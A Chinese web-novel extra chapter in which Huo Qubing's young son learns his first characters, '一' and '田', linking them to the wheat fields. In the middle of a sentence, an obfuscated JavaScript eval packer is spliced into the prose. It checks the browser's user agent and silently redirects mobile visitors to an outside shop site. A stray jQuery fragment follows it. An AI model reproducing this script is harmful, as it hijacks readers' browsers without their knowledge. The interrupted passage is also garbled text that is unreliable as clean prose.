霍一五岁那年，文吏开始教他认字。
第一天学的字是“一”。文吏把炭笔塞进他手里，握着他的手在麻布上画了一道横线。“这就是‘一’。你名字的第一个字。”他低头看着那道被握着手画出来的线，然后又自己画了一道。第二道比第一道直一些，他举起来看看，又低头画了第三道。
文吏教他写“一”的起笔和收笔该停顿的位置，他听完之后点点头，在本子上工工整整地写了整整一排“一”。他写完之后把它拿起来端详片刻，然后放下笔，拿着那片麻布跑了出去。他跑过田埂，跑过水车，一直跑到麦田边蹲着的背影旁边才停下来。他举着那片麻布递到那人面前：“爹，你看。”
霍去病正蹲着检查刚出苗的麦子根须，偏过头看了一眼那片麻布，上面一排歪歪扭扭的“一”字，每一个都写得认真。“谁教的？”他接过麻布看了一遍。“文吏叔。”霍去病看完了整排字，指了指最左边那个：“这个写得最好。起笔稳。”霍一低头看了看自己被指的那个字，然后笑了，蹲下来跟他爹一起看麦苗。
“这是什么字？”他指着地上的麦苗问。“麦。”霍去病说，“你写的‘一’是它的意思——一株麦子，从一粒种子开始。”孩子蹲在那儿看了一会儿那株刚出土的麦苗，嫩绿的叶片从土里探出来，弯成一道细小的弧线。他又低头看了一眼自己手上那片麻布上的“一”字。他抬头看了看远处的麦田又低头看了看麻布上那排歪歪扭扭的字，然后把它小心地叠好，放进了自己的口袋里。
第二天陈穗发现帐里多了一样东西。她把孩子脱下来的外衣收起来叠的时候，从口袋里掉出一片叠好的麻布。她展开来看到上面一排“一”字，最左边那个旁边被人用炭笔轻轻圈了一个圈——墨迹比孩子的淡一些，起笔更稳，是后来补上去的。她拿着那片麻布看了一会儿，然后把它重新叠好放回孩子的外衣口袋里。
孩子认的第二个字是“田”。文吏握着笔在纸上画了一个方形，横竖两笔交叉成四方格。他学着画，画歪了，擦掉重来，第二遍还是歪的，他吸了一口气又擦了第三遍。他回到家之后在地上用树枝画了那个字给他爹看：“田。”他爹蹲下来看了看那个歪歪扭扭的方形，然后伸手指了一下他画的那道横线：“这边要长一点，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920834|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这边收回来，就平了。”孩子蹲在那儿，拿树枝重新画了一遍，这次平了一些。然后他抬头看了看面前正在返青的麦田，又低头看了看自己画的那个字——他指着远处的麦田说：“这个田。”霍去病顺着他的手指看了一眼：“对，这块田。”
那天晚上陈穗坐在灯下缝东西的时候，孩子从外面跑进来，手里攥着一片新写的麻布。他举到她面前：“娘，我学了‘田’。”她低头看到那片麻布上横平竖直地写着一个“田”字，笔画端正，比他昨天写的“一”稳当了不少。她放下针线，接过来端详了一下：“写得比昨天好。”他笑了一下，然后跑到桌边趴下来，又找了一块新的麻布开始画。
她看着他趴在桌边握笔的背影，然后她偏过头朝帐外看了一眼——暮色里他正蹲在田埂边整理草帘的边缘，那个动作他做了很多年了，依然跟第一次做的时候一样认真。帐里灯火暖黄，桌边的孩子正在学写新的字，外面的田野在暮光里安静地铺展着。她低头把缝到一半的衣裳收了几针，窗外传来水车转动的声音，低低的、持续的，像这片土地自己的呼吸。
【番外一完】